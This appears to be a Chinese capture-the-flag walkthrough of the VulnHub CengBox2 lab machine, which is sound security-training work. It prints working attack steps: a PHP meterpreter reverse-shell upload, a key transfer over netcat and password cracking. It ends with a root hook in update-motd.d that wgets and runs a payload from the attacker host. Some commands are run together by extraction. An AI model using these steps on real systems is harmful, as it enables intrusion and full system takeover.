本文首發於微信公衆號:VulnHub CengBox2靶機滲透,未經受權,禁止轉載。javascript
難度評級:☆☆☆☆官網地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼雲盤:https://cloud.189.cn/t/nq6r6jQVRZBz百度網盤:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取碼:gt6g官網簡介:Ceng Company彷佛正在維護,但仍可能運行着某些業務滲透目標:獲取普通用戶以及root用戶權限本機地址:192.168.110.27靶機地址:192.168.110.30, 192.168.110.32
信息收集php
老規矩,仍是nmap開路。css
nmap 192.168.110.0/24
掃描結果顯示共開啓了3個端口,分別運行着FTP、SSH和HTTP服務。通常來講,漏洞出如今HTTP服務的可能性最大,首先看看網站有什麼敏感信息。html
顯示網站正在維護,源碼中也沒有提供任何有用的信息。那麼就須要使用dirb掃描網頁目錄了。java
dirb 192.168.110.30
只掃到了兩個頁面,index.html很明顯是剛纔訪問的主頁,而server-status是不可能有權限訪問的,也就是說,dirb沒有掃出有用信息。python
既然80端口找不到突破點,那麼看看FTP服務可不能夠匿名登陸。linux
ftp 192.168.110.30
能夠匿名登陸,查看一下ftp目錄下有什麼敏感文件。web
ls
有一個名爲note.txt的文件,無論三七二十一,先下載下來再說。shell
get note.txt
下載完成,查看文件內容。swift
文件內容提示Aaron用默認密碼初始化了Kevin的帳號,而且把站點轉移到了ceng-company.vm域下。猜想經過域名和IP訪問網站的相應結果不一樣。
修改hosts文件,把ceng-company.vm定向到192.168.110.30。
sudo vim /etc/hosts
接下來使用瀏覽器訪問ceng-company.vm看看是否有不一樣的返回結果。
很遺憾,仍是以前的頁面。再次使用dirb掃描看看。
依然沒有有用的信息,不過既然靶機做者給出了提示,那麼突破點就應該在網頁上。
考慮到ceng-company.vm是一級域名,而絕大多數網站都是經過二級域名訪問的,例如www.sogou.com、blog.csdn.net等。所以考慮在ceng-company.vm前加上前綴,組成二級域名,看網站是否有不一樣的響應。
vim /etc/hosts
這裏添加了www、bbs、login、admin和blog這幾個常見的前綴。通過測試,admin.ceng-company.vm會顯示禁止訪問,而其餘二級域名則顯示與ceng-company.vm同樣的結果。
admin.ceng-company.vm必定有貓膩,再次使用dirb掃描。
dirb http://admin.ceng-company.vm
此次的結果更慘,只掃到一個頁面。雖然沒有掃描出什麼結果,但admin.ceng-company必定是靶機的突破口,應該是dirb默認的字典不夠大才沒法掃描到有用的結果。
結合之前使用dirbuster須要一個小時才能掃描完成的經歷,將默認字典換成dirbuster的字典再次嘗試,因爲dirbuster的自帶的字典過於龐大,須要使用-w參數才能正常使用。
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w
功夫不負有心人,通過漫長的等待,終於發現了一個能夠訪問的目錄。
網頁端查看該目錄,發現是一個CMS。
點擊網頁的全部連接發現沒有有用的信息後,嘗試訪問login頁面。
因爲note.txt中給出了提示,Kevin的帳號是使用默認密碼初始化的,嘗試E-mail爲kevin@ceng-company.vm,密碼爲admin登陸。
登陸成功後網頁又跳轉到初始頁面,那麼就試試admin頁面。
查看頁面內容後發現Content -> File Manager能夠上傳文件。
經過這個頁面應該能夠上傳PHP木馬,接下來須要配合msf等工具生成PHP木馬,並獲取靶機的遠程shell。
漏洞利用
首先須要使用msf生成PHP木馬。
msfconsoleuse multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun
這幾條命令將會生成shell命令,複製eval部份內容保存成php腳本文件,而後上傳到靶機上。
顯示上傳成功,可是在網頁端並無查看到shell.sh,可能被服務器過濾了。接下來嘗試上傳到tmp目錄。
上傳成功,訪問admin.ceng-company.vm/gila/tmp/shell.php。
顯示禁止訪問,這應該與.htaccess文件有關,打開.htaccess,重命名爲.htaccess.bak。
闖大禍了,修改文件名以後全部的頁面都不可訪問,這下完全沒有辦法了。因爲沒有對靶機作備份,須要從新導入ova文件,靶機的IP更新爲192.168.110.32。
這裏的緣由是刪除了根目錄下的.htaccess,原本只須要刪除tmp下的.htaccess文件便可。
將其重命名爲.htaccess.bak。
而後再訪問admin.ceng-company.vm/gila/tmp/shell.php。
msf成功獲取靶機shell。
sessions l
sessions -i 1shell
將很差用的shell改成bash。
whereis python
系統中安裝了python2.7和python3.5。
python3.5 -c 'import pty; pty.spawn("/bin/bash")'
權限提高
切換到家目錄查看有哪些用戶。
cd /homedir
其中沒法進入mitnick目錄,能夠進入swartz目錄。
查看當前目錄下有沒有能夠利用的文件。
ls -l
查看文件內容。
cat runphp.sh
該文件的功能爲交互式運行php,查看是否能夠以swartz權限執行該腳本。
sudo -l
果真,是能夠免密碼以swartz權限執行runphp.sh的。
sudo -u swartz ./runphp.sh
須要注意參數,./runphp.sh和/home/swartz/runphp.sh均可以,可是不能直接使用文件名,不然仍是須要輸入密碼。
接下來使用交互式php獲取swartz的shell。
pcntl_exec('/bin/bash');
再次嘗試進入mitnick家目錄。
成功進入,查看該目錄下有無提示。
ls -la
有一個名爲user.txt的文件,可是沒有任何權限,很明顯,這是在提示須要提權到mitnick用戶才能進入下一步。
查找一下有什麼文件能夠以mitnick或root權限運行。
sudo -l
很遺憾,須要密碼。這時候注意到mitnick家目錄下有.ssh文件夾,進入文件夾查看。
查看id_rsa。
接下來嘗試使用John the Rapper暴力破解密碼。
nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key
將mitnick.key轉換成john可識別的文件。
/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john
使用John the Rapper暴力破解。
locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john
幾秒鐘就將密碼爆破出來了。接着使用mitnick.key登陸靶機。
ssh -i mitnick.key mitnick@ceng-company.vm
沒法登陸,緣由是mitnick.key權限爲644,須要改爲600才能登陸。
chmod 600 mitnick.keyssh -i mitnick.key mitnick@ceng-company.vm
查看user.txt
cat user.txt
第一個flag已經拿到。如今須要提權到root,首先查找有哪些能夠利用的文件。
find / -type f -perm -g+rwx 2>/dev/null
update-motd.d文件夾下的腳本會在用戶經過SSH登陸時由root運行,主要的做用是在登陸時顯示消息。既然有寫權限,那麼進行反彈shell。
使用msf生成反彈shell腳本。
use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun
執行以後將會生成一個wget命令。
將該命令寫進腳本並設置可執行權限。
-
echo
"wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
-
-
chmod
777 rootShell.sh
最後將rootShell.sh寫進00-header。
echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header
註銷SSH會話,從新鏈接。
exitssh -i mitnick.key mitnick@192.168.110.32
此時msf已經成功獲取shell。
sessions -lsessions -i 1
檢查權限,切換成bash。
idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'
查找flag。
cd /rootlscat root.txt
至此,對靶機的滲透已經所有完成。